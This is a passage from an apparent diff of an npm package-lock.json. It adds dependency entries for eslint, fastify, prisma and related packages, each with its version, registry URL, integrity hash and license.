"sha512-MwcE1P+AZ4C6DWlpin/OmOA54mmIZ/+xZuJiQd4SyB29oAJjN30UW9wkKNptW2ctp4cEsvhlLY/CsQ1uoHDloQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@types/json-schema": "^7.0.15" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/js": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-10.0.1.tgz", + "integrity": "sha512-zeR9k5pd4gxjZ0abRoIaxdc7I3nDktoXZk2qOv9gCNWx3mVwEn32VRhyLaRsDiJjTs0xq/T8mfPtyuXu7GWBcA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "eslint": "^10.0.0" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + } + } + }, + "node_modules/@eslint/object-schema": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-3.0.5.tgz", + "integrity": "sha512-vqTaUEgxzm+YDSdElad6PiRoX4t8VGDjCtt05zn4nU810UIx/uNEV7/lZJ6KwFThKZOzOxzXy48da+No7HZaMw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/plugin-kit": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.7.3.tgz", + "integrity": "sha512-IkO+/KEUvwbVpiURZg+P7zF74z5Jxe0UgJxVni+RtoHQ6IZieXaO02kmadomap/q+l6bc/jdPGGqTjhuZnuz1Q==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^1.2.1", + "levn": "^0.4.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@exodus/bytes": { + "version": "1.15.1", + "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.15.1.tgz", + "integrity": "sha512-S6mL0yNB/Abt9Ei4tq8gDhcczc4S3+vQ4ra7vxnAf+YHC02srtqxKKZghx2Dq6p0e66THKwR6r8N6P95wEty7Q==", + "license": "MIT", + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=24.0.0" + }, + "peerDependencies": { + "@noble/hashes": "^1.8.0 || ^2.0.0" + }, + "peerDependenciesMeta": { + "@noble/hashes": { + "optional": true + } + } + }, + "node_modules/@fastify/accept-negotiator": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@fastify/accept-negotiator/-/accept-negotiator-2.1.0.tgz", + "integrity": "sha512-F3EVbzWt+xcnVaOHmWyIlpuFtbxOln7HDZQsh09MtMmMm/CipMayNt8hnIL8VQi54u2ZociDbf+iluGYkf7B1A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, + "node_modules/@fastify/ajv-compiler": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/@fastify/ajv-compiler/-/ajv-compiler-4.0.6.tgz", + "integrity": "sha512-NtuzM0SfaMJbGlnjr9LWQUN5LzgSrbB8tf/wRZNas+4E1O/Nmzl53e7ruT61HDZyRCJGC6FxIogmNZO1c5ETBA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "ajv": "^8.12.0", + "ajv-formats": "^3.0.1", + "fast-uri": "^4.0.0" + } + }, + "node_modules/@fastify/ajv-compiler/node_modules/ajv": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/@fastify/ajv-compiler/node_modules/ajv/node_modules/fast-uri": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.7.tgz", + "integrity": "sha512-dOvZVzjdZdz7phd9v6jCbwxrBW3fK6n8Rc0CtdmM4bumzMnxywBYhuph6J819RRw/ku+rLbelwfMunktuzVVHg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/@fastify/ajv-compiler/node_modules/fast-uri": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-4.1.4.tgz", + "integrity": "sha512-dODXrIxlS9JSdgAnhIUKOosKV1oMtU2VtVw87QRaHzyl5jxO290Ii5tEZfCfzfWNHi3jKWwBSdQj0qIyshdZdQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/@fastify/ajv-compiler/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/@fastify/compress": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/@fastify/compress/-/compress-9.2.0.tgz", + "integrity": "sha512-35VL33PIEt/UbD/ZMlRNaICd2BQz0IaG7en74Dv7tI+MHIQkedibS1+9JfekWH4I1g+Y8RbbZD4Zsk9h4XTItg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "@fastify/accept-negotiator": "^2.0.0", + "fastify-plugin": "^6.0.0", + "mime-db": "^1.52.0", + "minipass": "^7.0.4", + "readable-stream": "^4.5.2" + } + }, + "node_modules/@fastify/cors": { + "version": "11.3.0", + "resolved": "https://registry.npmjs.org/@fastify/cors/-/cors-11.3.0.tgz", + "integrity": "sha512-ggQGua+xHv1MvePbPr0v//xLYEsCXbWspquXCJS9Ot5YoRXq8J8ZWzHnxDBVnbtXosvistXo6LtNzOJswf64Fw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "fastify-plugin": "^6.0.0", + "toad-cache": "^3.7.0" + } + }, + "node_modules/@fastify/error": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@fastify/error/-/error-4.2.0.tgz", + "integrity": "sha512-RSo3sVDXfHskiBZKBPRgnQTtIqpi/7zhJOEmAxCiBcM7d0uwdGdxLlsCaLzGs8v8NnxIRlfG0N51p5yFaOentQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, + "node_modules/@fastify/fast-json-stringify-compiler": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@fastify/fast-json-stringify-compiler/-/fast-json-stringify-compiler-5.1.0.tgz", + "integrity": "sha512-PxcYtKLbQ8Z+yApiqjK8FwxIwvEj38k2OiLc17u8dkJSlmfi2wHHPaSnaoqBPQqtvF8YVsDgDpP2snDCfFrpfw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "fast-json-stringify": "^7.0.0" + } + }, + "node_modules/@fastify/forwarded": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@fastify/forwarded/-/forwarded-3.0.2.tgz", + "integrity": "sha512-NE8HgKLgYejV9lDpqkEFaDKMLYelJBVfHekhB0UKvX0ghagXRJqg68feg8er1NPXxG4N9i6vPxzt8E+3wHfcmA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, + "node_modules/@fastify/helmet": { + "version": "12.0.0", + "resolved": "https://registry.npmjs.org/@fastify/helmet/-/helmet-12.0.0.tgz", + "integrity": "sha512-6YdOZVR0d6//5kPnBBQCdCFb7pCSlyc9c/3HQfZEE5zabZ5ooiDML9o7atDPqnkF+zCMwsqNPisthUyQmkGb7Q==", + "license": "MIT", + "dependencies": { + "fastify-plugin": "^5.0.0", + "helmet": "^7.1.0" + } + }, + "node_modules/@fastify/helmet/node_modules/fastify-plugin": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/fastify-plugin/-/fastify-plugin-5.1.0.tgz", + "integrity": "sha512-FAIDA8eovSt5qcDgcBvDuX/v0Cjz0ohGhENZ/wpc3y+oZCY2afZ9Baqql3g/lC+OHRnciQol4ww7tuthOb9idw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, + "node_modules/@fastify/merge-json-schemas": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/@fastify/merge-json-schemas/-/merge-json-schemas-0.2.1.tgz", + "integrity": "sha512-OA3KGBCy6KtIvLf8DINC5880o5iBlDX4SxzLQS8HorJAbqluzLRn80UXU0bxZn7UOFhFgpRJDasfwn9nG4FG4A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/@fastify/proxy-addr": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@fastify/proxy-addr/-/proxy-addr-5.1.0.tgz", + "integrity": "sha512-INS+6gh91cLUjB+PVHfu1UqcB76Sqtpyp7bnL+FYojhjygvOPA9ctiD/JDKsyD9Xgu4hUhCSJBPig/w7duNajw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "@fastify/forwarded": "^3.0.0", + "ipaddr.js": "^2.1.0" + } + }, + "node_modules/@fastify/rate-limit": { + "version": "11.2.0", + "resolved": "https://registry.npmjs.org/@fastify/rate-limit/-/rate-limit-11.2.0.tgz", + "integrity": "sha512-X7osJd4XSvMoejYrnJkSZYYjY1eNYoBqhjlzf1RakC2204qExFqZFTKj5+T7VuzA/iUI9Z3UoSqQRkB2HpG0oQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "@lukeed/ms": "^2.0.2", + "fastify-plugin": "^6.0.0", + "ip-address": "^10.2.0", + "toad-cache": "^3.7.0" + } + }, + "node_modules/@fastify/send": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/@fastify/send/-/send-4.1.1.tgz", + "integrity": "sha512-BYo+EiaKwlxH+WetGk6hAs1d39iP0y1gqB8lGF/qwkJ9ZZ/cBY1vx5NvExb9Sc3yRMFjD5X4Eyh4e4+TzRkzdw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "@lukeed/ms": "^2.0.2", + "escape-html": "~1.0.3", + "fast-decode-uri-component": "^1.0.1", + "http-errors": "^2.0.0", + "mime": "^3" + } + }, + "node_modules/@fastify/static": { + "version": "10.1.5", + "resolved": "https://registry.npmjs.org/@fastify/static/-/static-10.1.5.tgz", + "integrity": "sha512-3r0ZFXo82nKlPzySOUYhwWVfPZStfiwjmyevkX7cJWL2yXmEzl0Rpxv+L6L1R4OxqvlDGqf3g8OdBzILKgqe6w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "@fastify/accept-negotiator": "^2.0.0", + "@fastify/error": "^4.0.0", + "@fastify/send": "^4.0.0", + "content-disposition": "^3.0.0", + "fastify-plugin": "^6.0.0", + "fastq": "^1.17.1", + "glob": "^13.0.0" + } + }, + "node_modules/@fastify/swagger": { + "version": "9.9.0", + "resolved": "https://registry.npmjs.org/@fastify/swagger/-/swagger-9.9.0.tgz", + "integrity": "sha512-d21Im1l3KoF2kmzJHOYL50Erjhj1qUUudQsW9hzwYTE7likjvMx7AQKpClyZbdhrqGXbl+fU4dI2S7BaLpFIvw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "fastify-plugin": "^6.0.0", + "json-schema-resolver": "^3.0.0", + "openapi-types": "^12.1.3", + "rfdc": "^1.3.1", + "yaml": "^2.4.2" + } + }, + "node_modules/@fastify/swagger-ui": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/@fastify/swagger-ui/-/swagger-ui-6.1.1.tgz", + "integrity": "sha512-RKCLSHASlzS2JZvHWn14NmEpHyl0yNosGvqzhUumm/LGPG6RWQBf4oscTFt83QDvc5O5Tol3Beup8inAl/k4EA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "@fastify/static": "^10.1.0", + "fastify-plugin": "^6.0.0", + "openapi-types": "^12.1.3", + "rfdc": "^1.3.1", + "yaml": "^2.4.1" + } + }, + "node_modules/@humanfs/core": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz", + "integrity": "sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/types": "^0.15.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/node": { + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.8.tgz", + "integrity": "sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/core": "^0.19.2", + "@humanfs/types": "^0.15.0", + "@humanwhocodes/retry": "^0.4.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/types": { + "version": "0.15.0", + "resolved": "https://registry.npmjs.org/@humanfs/types/-/types-0.15.0.tgz", + "integrity": "sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/retry": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", + "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.6.0.tgz", + "integrity": "sha512-T7jf+5zgsZHwNJ4lvQ7/aezbyk0nNX+zJVWpmHA7VYsEx7a7qr5Rg5IbtJFqkgze5Y2sruq1RUY8Q837Od7iFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@keyv/bigmap": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/@keyv/bigmap/-/bigmap-1.3.1.tgz", + "integrity": "sha512-WbzE9sdmQtKy8vrNPa9BRnwZh5UF4s1KTmSK0KUVLo3eff5BlQNNWDnFOouNpKfPKDnms9xynJjsMYjMaT/aFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "hashery": "^1.4.0", + "hookified": "^1.15.0" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "keyv": "^5.6.0" + } + }, + "node_modules/@keyv/serialize": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@keyv/serialize/-/serialize-1.1.1.tgz", + "integrity": "sha512-dXn3FZhPv0US+7dtJsIi2R+c7qWYiReoEh5zUntWCf4oSpMNib8FDhSoed6m3QyZdx5hK7iLFkYk3rNxwt8vTA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@lukeed/ms": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@lukeed/ms/-/ms-2.0.2.tgz", + "integrity": "sha512-9I2Zn6+NJLfaGoz9jN3lpwDgAYvfGeNYdbAIjJOqzs4Tpc+VU3Jqq4IofSUBKajiDS8k9fZIg18/z13mpk1bsA==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@noble/ed25519": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@noble/ed25519/-/ed25519-3.2.0.tgz", + "integrity": "sha512-criDgRlnUA09hchYrTy/JUWPIEap5rZxQe6wDWzRx51oWWpDRcUpuNzlgPxDJaOK6AsW9c0wKcj3rKRv6t+bPQ==", + "license": "MIT", + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@noble/hashes": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.4.0.tgz", + "integrity": "sha512-X5XaVWZIBCT7HHZGm5I7ZQXDwLG+bGXuSrMQAW+7Zvl87h1kmc1ZB1VSRJcpUfoUrGQp4Fkoxm5kZ+Ms+aW+eA==", + "license": "MIT", + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@oxc-project/types": { + "version": "0.148.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.148.0.tgz", + "integrity": "sha512-Nm4s/jB+4FpFsPhWGEC4h7rzksesmtnMXomo6rCMcg/b8zLQuOziRgkCS1fxDCXOlJB/6Q8oABOZ/OP6RIPj9A==", + "dev": true, + "license": "MIT", + "peer": true, + "funding": { + "url": "https://github.com/sponsors/oxc-project" + } + }, + "node_modules/@pinojs/redact": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/@pinojs/redact/-/redact-0.4.0.tgz", + "integrity": "sha512-k2ENnmBugE/rzQfEcdWHcCY+/FM3VLzH9cYEsbdsoqrvzAKRhUZeRNhAZvB8OitQJ1TBed3yqWtdjzS6wJKBwg==", + "license": "MIT" + }, + "node_modules/@prisma/adapter-pg": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/@prisma/adapter-pg/-/adapter-pg-7.10.0.tgz", + "integrity": "sha512-N7nwSor0HO1Kz6xBv0TPAjAPysKK0fac6p4fVN3ensLOuzc/83Fgmln5k92eK/cvzqdkSR/2kkAqlbcdwVrwpw==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/driver-adapter-utils": "7.10.0", + "@types/pg": "^8.16.0", + "pg": "^8.16.3", + "postgres-array": "3.0.4" + } + }, + "node_modules/@prisma/client": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/@prisma/client/-/client-7.10.0.tgz", + "integrity": "sha512-Ubw/QS9JGIBSBUsyxAUQuK/Jcu0Tsva7le7QbLd91Kix9yJvYDdj5QkwgEbbZniH80dd+sziQcALPc+HnvQC8Q==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/client-runtime-utils": "7.10.0" + }, + "engines": { + "node": "^20.19 || ^22.12 || >=24.0" + }, + "peerDependencies": { + "prisma": "*", + "typescript": ">=5.4.0" + }, + "peerDependenciesMeta": { + "prisma": { + "optional": true + }, + "typescript": { + "optional": true + } + } + }, + "node_modules/@prisma/client-runtime-utils": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/@prisma/client-runtime-utils/-/client-runtime-utils-7.10.0.tgz", + "integrity": "sha512-cnCy7lUV8/CctgKVEmqAbSLAmwqJdE/qAlqTBk/0NDk59zEb2cZ0M0M0E4vVPnqbSEYudRroQDvOWfUZH6RIfw==", + "license": "Apache-2.0" + }, + "node_modules/@prisma/config": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/@prisma/config/-/config-7.10.0.tgz", + "integrity": "sha512-Rcg828gIRE3HOQ3pOATFjV5d/P0U9OIobxhd/IMxlfWjA4vru0eGwb0AIwFw0rmcLMVShohZYWPixVxkBHsxUA==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "c12": "3.3.4", + "deepmerge-ts": "7.1.5", + "effect": "3.20.0", + "empathic": "2.0.0" + } + }, + "node_modules/@prisma/debug": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/@prisma/debug/-/debug-7.10.0.tgz", + "integrity": "sha512-caygJKtltmRIgdJ3jRpkOr7yM4DW6zxo5uOmojKWFb3asnxWoRkQOwZmXBgD8FZp4htrX+nMpcWqDwzlQ1+Y4g==", + "license": "Apache-2.0" + }, + "node_modules/@prisma/dev": { + "version": "0.24.17", + "resolved": "https://registry.npmjs.org/@prisma/dev/-/dev-0.24.17.tgz", + "integrity": "sha512-UvdZzmpFwknnfreh6Jije84ekkYGPYEJhXG1tFzCsCfQyzJifrOo38eZc0qajzvaC6OLUOrN9ML5XfCnEZL9DA==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "@electric-sql/pglite": "0.4.3", + "@electric-sql/pglite-socket": "0.1.3", + "@electric-sql/pglite-tools": "0.3.3", + "@prisma/get-platform": "7.2.0", + "@prisma/query-plan-executor": "7.2.0", + "@prisma/streams-local": "0.1.11", + "find-my-way": "9.7.0", + "foreground-child": "3.3.1", + "get-port-please": "3.2.0", + "pathe": "2.0.3", + "proper-lockfile": "4.1.2", + "remeda": "2.33.4", + "std-env": "3.10.0", + "valibot": "1.4.2", + "zeptomatch": "2.1.0" + } + }, + "node_modules/@prisma/dev/node_modules/std-env": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", + "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@prisma/driver-adapter-utils": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/@prisma/driver-adapter-utils/-/driver-adapter-utils-7.10.0.tgz", + "integrity": "sha512-u8zkcRLlaryO652T4qavBg0HmzNW5tSKdsCn6hc1PhWAp/J6k0vrxLuUs+b9o+HcjsK7Dfa01o4OFSn0frauJA==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.10.0" + } + }, + "node_modules/@prisma/engines": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/@prisma/engines/-/engines-7.10.0.tgz", + "integrity": "sha512-KNumN6NHFwybvfdYzTee9pqwx5PvknpWAaHn6L5NsbrKdl+SQrsVZs9opKs6U6SAsvB26HDt3WybRjOhgoWOYQ==", + "devOptional": true, + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.10.0", + "@prisma/engines-version": "7.10.0-4.0edf323efd1d98336f3f0a68684b56f689b900d3", + "@prisma/fetch-engine": "7.10.0", + "@prisma/get-platform": "7.10.0" + } + }, + "node_modules/@prisma/engines-version": { + "version": "7.10.0-4.0edf323efd1d98336f3f0a68684b56f689b900d3", + "resolved": "https://registry.npmjs.org/@prisma/engines-version/-/engines-version-7.10.0-4.0edf323efd1d98336f3f0a68684b56f689b900d3.tgz", + "integrity": "sha512-8OJ6RuZTZ06eFUOtBwxVmv8XMmOW6HWN5F+uxUbZkGxR0Bfab1dfAdXaHPmR5mb59E+fmUo8IOzXlbLY1SClbw==", + "devOptional": true, + "license": "Apache-2.0" + }, + "node_modules/@prisma/engines/node_modules/@prisma/get-platform": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.10.0.tgz", + "integrity": "sha512-0bra1LFYi8xNw0yqV62bHJNQk4BKleOngZiqPWIQc7a3+9q6rqsnqJ15BuepP8943PFMvtmgnP52juZsyYkA6w==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.10.0" + } + }, + "node_modules/@prisma/fetch-engine": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/@prisma/fetch-engine/-/fetch-engine-7.10.0.tgz", + "integrity": "sha512-Zqyu8DY14t6W/xwmAxUYWCXtHrvQnSvT644EAZSsdM8NSmCS74vJJbBKdVsK3ucFpnUWkEpbO1a0CxJXrg130g==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.10.0", + "@prisma/engines-version": "7.10.0-4.0edf323efd1d98336f3f0a68684b56f689b900d3", + "@prisma/get-platform": "7.10.0" + } + }, + "node_modules/@prisma/fetch-engine/node_modules/@prisma/get-platform": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.10.0.tgz", + "integrity": "sha512-0bra1LFYi8xNw0yqV62bHJNQk4BKleOngZiqPWIQc7a3+9q6rqsnqJ15BuepP8943PFMvtmgnP52juZsyYkA6w==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.10.0" + } + }, + "node_modules/@prisma/get-platform": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.2.0.tgz", + "integrity": "sha512-k1V0l0Td1732EHpAfi2eySTezyllok9dXb6UQanajkJQzPUGi3vO2z7jdkz67SypFTdmbnyGYxvEvYZdZsMAVA==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.2.0" + } + }, + "node_modules/@prisma/get-platform/node_modules/@prisma/debug": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/@prisma/debug/-/debug-7.2.0.tgz", + "integrity": "sha512-YSGTiSlBAVJPzX4ONZmMotL+ozJwQjRmZweQNIq/ER0tQJKJynNkRB3kyvt37eOfsbMCXk3gnLF6J9OJ4QWftw==", + "devOptional": true, + "license": "Apache-2.0" + }, + "node_modules/@prisma/query-plan-executor": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/@prisma/query-plan-executor/-/query-plan-executor-7.2.0.tgz", + "integrity": "sha512-EOZmNzcV8uJ0mae3DhTsiHgoNCuu1J9mULQpGCh62zN3PxPTd+qI9tJvk5jOst8WHKQNwJWR3b39t0XvfBB0WQ==", + "devOptional": true, + "license": "Apache-2.0" + }, + "node_modules/@prisma/streams-local": { + "version": "0.1.11", + "resolved": "https://registry.npmjs.org/@prisma/streams-local/-/streams-local-0.1.11.tgz", + "integrity": "sha512-0TcebL559MByKqTJ+SsrFIEg228iw8UCVRFckzgfRSiJqczhs+MuAgWOF9lnOIV/IVqvu+KMnFTH0eDeTQMpUg==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "ajv": "^8.12.0", + "better-result": "^2.7.0", + "env-paths": "^3.0.0", + "proper-lockfile": "^4.1.2" + }, + "engines": { + "bun": ">=1.2.0", + "node": ">=22.0.0" + } + }, + "node_modules/@prisma/streams-local/node_modules/ajv": { + "version": 